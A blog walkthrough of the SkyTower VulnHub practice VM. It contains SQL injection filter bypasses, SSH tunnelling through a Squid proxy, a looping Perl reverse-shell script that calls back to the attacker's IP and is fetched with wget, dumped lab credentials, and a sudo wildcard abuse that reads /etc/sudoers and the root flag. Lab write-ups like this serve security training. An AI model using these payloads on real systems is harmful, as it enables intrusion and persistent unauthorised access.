seekorswim My Security Blog

SkyTower: 1

VulnHub URL: https://www.vulnhub.com/entry/skytower-1,96/
Hostname: SkyTower
IP Address: 10.183.0.228


Information Gathering/Recon


The IP address is obtained via DHCP at boot. In my case, the IP is 10.183.0.228.


Service Enumeration/Scanning


root@kali:~/Walkthroughs/skytower# nmap -Pn -sT -sV -sC -A -oA skytower -p 1-65535 10.183.0.228
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-26 10:06 EDT
Nmap scan report for SkyTower.homenet.dom (10.183.0.228)
Host is up (0.0012s latency).
Not shown: 65532 closed ports
PORT     STATE    SERVICE    VERSION
22/tcp   filtered ssh
80/tcp   open     http       Apache httpd 2.2.22 ((Debian))
|_http-server-header: Apache/2.2.22 (Debian)
|_http-title: Site doesn't have a title (text/html).
3128/tcp open     http-proxy Squid http proxy 3.1.20
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported: GET HEAD
|_http-server-header: squid/3.1.20
|_http-title: ERROR: The requested URL could not be retrieved
MAC Address: 08:00:27:54:4A:37 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.10, Linux 3.2 - 3.16
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   1.18 ms SkyTower.homenet.dom (10.183.0.228)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.87 seconds


Gaining Access


Looking at the versions of software returned from nmap, we have:
  • Apache/2.2.22 - no known vulnerabilities
  • squid/3.1.20 - no known vulnerabilities

I checked the squid proxy to see if it will allow general proxying to the Internet, but it doesn't. I also wasn't able to pull information using squidclient (querying the cache manager). All requests return an access denied message.

I decided to scan the HTTP service on TCP port 80 using nikto.

root@kali:~/Walkthroughs/skytower# nikto -h http://10.183.0.228
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.183.0.228
+ Target Hostname:    10.183.0.228
+ Target Port:        80
+ Start Time:         2019-04-26 10:20:01 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.2.22 (Debian)
+ Server may leak inodes via ETags, header found with file /, inode: 87, size: 1136, mtime: Fri Jun 20 07:23:36 2014
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html
+ Allowed HTTP Methods: OPTIONS, GET, HEAD, POST
+ Retrieved x-powered-by header: PHP/5.4.4-14+deb7u9
+ OSVDB-3233: /icons/README: Apache default file found.
+ /login.php: Admin login page/section found.
+ 8725 requests: 0 error(s) and 11 item(s) reported on remote host
+ End Time:           2019-04-26 10:20:33 (GMT-4) (32 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Looks like we found a login page, but not much else. Before browsing to it, I'd like to see if there are other directories available using dirb.

root@kali:~/Walkthroughs/skytower# dirb http://10.183.0.228 /usr/share/dirb/wordlists/big.txt -o dirb-http-10.183.0.228.txt

-----------------
DIRB v2.22
By The Dark Raver
-----------------

OUTPUT_FILE: dirb-http-10.183.0.228.txt
START_TIME: Fri Apr 26 10:22:33 2019
URL_BASE: http://10.183.0.228/
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt

-----------------

GENERATED WORDS: 20458

---- Scanning URL: http://10.183.0.228/ ----
+ http://10.183.0.228/background (CODE:200|SIZE:2572609)
+ http://10.183.0.228/cgi-bin/ (CODE:403|SIZE:288)
+ http://10.183.0.228/index (CODE:200|SIZE:1136)
+ http://10.183.0.228/server-status (CODE:403|SIZE:293)

-----------------
END_TIME: Fri Apr 26 10:22:56 2019
DOWNLOADED: 20458 - FOUND: 4

Doesn't look like much is available. We'll browse to the site and see what's up...

The default site for the HTTP service on TCP port 80 is a login page for "Skytech". There aren't any hints in the source code and there aren't any other directories/backdoors into the server. Looks like we'll have to come through the front door using SQL injection.

Our first attempt to test sqli in the password field returned a helpful error message.

There was an error running the query [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '11#'' at line 1]

We learn that the backend is using MySQL. We also see that our equal sign was stripped from "%' OR 1=1#". Sending "admin'--" in the username with no password gives us a little more of the syntax of the SQL statement.

There was an error running the query [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin'' and password=''' at line 1]

So we know -- was stripped, and we get to see more of the SQL query. Trying to pass the string 'password' in the password field shows me password is changed to 'passwd'.

There was an error running the query [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'passwd like %a% #'' at line 1]

Submitting the string "or 1-- -' or 1 or '1"or 1 or" produces the following error.

There was an error running the query [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1 '1" 1 "' and password=''' at line 1]

So, it looks like 'or' is also being stripped (which is why 'password' was changed to 'passwd'), along with the '--' comment trick.

Let's see if we can use the double pipe in place of 'or'. We'll try 'admin' for the username and "' || 1=1#" for the password...



Nice! We at least got something new. We are given a new username and password to try, but it says we have to use SSH. Problem is, SSH seemed to be blocked in our nmap scan. However, squid was not blocked... and squid can be used as an SSH proxy... Let's try to SSH to the server through squid.

First, we'll add the proxy to our proxychains.conf config file in /etc

root@kali:~/Walkthroughs/skytower# cat /etc/proxychains.conf
# proxychains.conf  VER 3.1
#
#        HTTP, SOCKS4, SOCKS5 tunneling proxifier with DNS.
#
[...]
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
#socks4         127.0.0.1 9050
http 10.183.0.228 3128

Now, we'll use proxychains to connect to the ssh service on 10.183.0.228.

root@kali:~/Walkthroughs/skytower# proxychains ssh john@10.183.0.228
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-10.183.0.228:3128-<><>-10.183.0.228:22-<><>-OK
The authenticity of host '10.183.0.228 (10.183.0.228)' can't be established.
ECDSA key fingerprint is SHA256:QYZqyNNW/Z81N86urjCUIrTBvJ06U9XDDzNv91DYaGc.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.183.0.228' (ECDSA) to the list of known hosts.
john@10.183.0.228's password:
Linux SkyTower 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jun 20 07:41:08 2014

Funds have been withdrawn
Connection to 10.183.0.228 closed.

The connection worked, but, unfortunately, immediately after logging in (and printing a message, "Funds have been withdrawn") is disconnected. We might be able to start bash right after login by passing the command at the end of our ssh command, like so...

root@kali:~/Walkthroughs/skytower# proxychains ssh john@10.183.0.228 "/bin/bash"
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-10.183.0.228:3128-<><>-10.183.0.228:22-<><>-OK
john@10.183.0.228's password:
pwd
/home/john
id
uid=1000(john) gid=1000(john) groups=1000(john)

We don't have a prompt, but at least we are still connected. Looking in the .bashrc file, we see the following commands at the end of the file.

cat .bashrc
[...]
echo
echo  "Funds have been withdrawn"
exit

I'd like to remove 'exit' from the end of the file and SSH back in (without being disconnected). There are lots of ways to do that, but I'm going to do the following.

sed -i 's/exit/echo/g' .bashrc

This uses sed to replace every instance of 'exit' (I made sure there was only one), with 'echo'. Now we can disconnect and connect back in using SSH.

root@kali:~/Walkthroughs/skytower# proxychains ssh john@10.183.0.228
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-10.183.0.228:3128-<><>-10.183.0.228:22-<><>-OK
john@10.183.0.228's password:
Linux SkyTower 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Apr 26 14:04:44 2019 from skytower.homenet.dom

Funds have been withdrawn

john@SkyTower:~$


Maintaining Access


Since SSH is forced through a proxy, I decided to create a simple shell script that will try to connect back to my attacking machine every 5 minutes and use python's SimpleHTTPServer to serve it up to the victim.

root@kali:~/Walkthroughs/skytower# cat rev
#!/bin/sh
while true; do
    perl -e 'use Socket;$i="10.183.0.222";$p=5433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
    # sleep for 300 seconds (5 mins)
    sleep 300
done
root@kali:~/Walkthroughs/skytower# python -m SimpleHTTPServer 4321
Serving HTTP on 0.0.0.0 port 4321 ...
10.183.0.228 - - [26/Apr/2019 14:49:47] "GET /rev HTTP/1.1" 200 -

I uploaded the script to the victim's /home/john directory and ran it in the background. Now, if I get disconnected, I should be able to restart a listener and get back in within 5 minutes.

john@SkyTower:~$ wget -O rev 10.183.0.222:4321/rev
--2019-04-26 14:49:46--  http://10.183.0.222:4321/rev
Connecting to 10.183.0.222:4321... connected.
HTTP request sent, awaiting response... 200 OK
Length: 309 [application/octet-stream]
Saving to: `rev'

100%[============================================================================================================>] 309         --.-K/s   in 0s      

2019-04-26 14:49:46 (62.2 MB/s) - `rev' saved [309/309]

john@SkyTower:~$ chmod +x rev
john@SkyTower:~$ ./rev &
[1] 3505


Privilege Escalation


Venturing back to the /var/www directory, I checked the login.php page for database credentials.

john@SkyTower:~$ cd /var/www
john@SkyTower:/var/www$ cat login.php
<?php

$db = new mysqli('localhost', 'root', 'root', 'SkyTech');
[...]

Using these credentials, I was able to dump the following logins from the database.

john@SkyTower:~$ mysql -u root -p SkyTech
Enter password:
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 103
Server version: 5.5.35-0+wheezy1 (Debian)

Copyright (c) 2000, 2013, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show tables;
+-------------------+
| Tables_in_SkyTech |
+-------------------+
| login             |
+-------------------+
1 row in set (0.00 sec)

mysql> select * from login;
+----+---------------------+--------------+
| id | email               | password     |
+----+---------------------+--------------+
|  1 | john@skytech.com    | hereisjohn   |
|  2 | sara@skytech.com    | ihatethisjob |
|  3 | william@skytech.com | senseable    |
+----+---------------------+--------------+
3 rows in set (0.00 sec)

These user accounts correspond to users in /etc/passwd, so we'll see if the passwords in the database are the same as their user account (like john's was).

john@SkyTower:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
sshd:x:101:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:102:105:MySQL Server,,,:/nonexistent:/bin/false
john:x:1000:1000:john,,,:/home/john:/bin/bash
sara:x:1001:1001:,,,:/home/sara:/bin/bash
william:x:1002:1002:,,,:/home/william:/bin/bash

Using su for each account, I was able to validate each user's password (which is the same as those stored in the database).

CORRECTION: william's local password is 'sensable' instead of 'senseable'. I must have mis-typed it when checking it, but I'm glad I did. Copying and pasting didn't work.

john@SkyTower:~$ su - sara
Password:

Funds have been withdrawn
john@SkyTower:~$ su - william
Password:

Funds have been withdrawn

I'll SSH to the server with each account using the same technique I used with john, fix their .bashrc file (using sed) and then SSH again to get a working bash shell.

The first thing I did after logging into each account was run 'sudo -l' to see if there was going to be any advantage to using one account vs another. Turns out, sara has access to some sudo commands that john and william don't.

sara@SkyTower:~$ sudo -l
Matching Defaults entries for sara on this host:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User sara may run the following commands on this host:
    (root) NOPASSWD: /bin/cat /accounts/*, (root) /bin/ls /accounts/*

Interestingly, the /accounts directory allows anyone to list its contents...

drwxr-xr-x  2 root root  4096 Jun 20  2014 accounts

And it's empty...

sara@SkyTower:/accounts$ ls -la
total 8
drwxr-xr-x  2 root root 4096 Jun 20  2014 .
drwxr-xr-x 24 root root 4096 Jun 20  2014 ..

At first glance, these sudo commands seem to be useless... but not if you add additional parameters...

sara@SkyTower:~$ sudo /bin/cat /accounts/* /etc/sudoers
/bin/cat: /accounts/*: No such file or directory
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults        env_reset
Defaults        mail_badpass
Defaults        secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root    ALL=(ALL:ALL) ALL

# Allow members of group sudo to execute any command
sara    ALL=NOPASSWD:/bin/cat /accounts/*, /bin/ls /accounts/*  

# See sudoers(5) for more information on "#include" directives:

#includedir /etc/sudoers.d

As a regular user, I shouldn't be able to view the contents of /etc/sudoers...

-r--r----- 1 root root     707 Jun 20  2014 sudoers

But with the sudo command we have access to, I can. This means I can also list the contents the the /root directory...

sara@SkyTower:~$ sudo /bin/ls /accounts/* /root
/bin/ls: cannot access /accounts/*: No such file or directory
/root:
flag.txt

And cat the flag...

sara@SkyTower:~$ sudo /bin/cat /accounts/* /root/flag.txt
/bin/cat: /accounts/*: No such file or directory
Congratz, have a cold one to celebrate!
root password is theskytower


Pivoting

N/A

Clean Up


*** STOP /home/john/rev ***
*** REMOVE /home/john/rev ***


Additional Info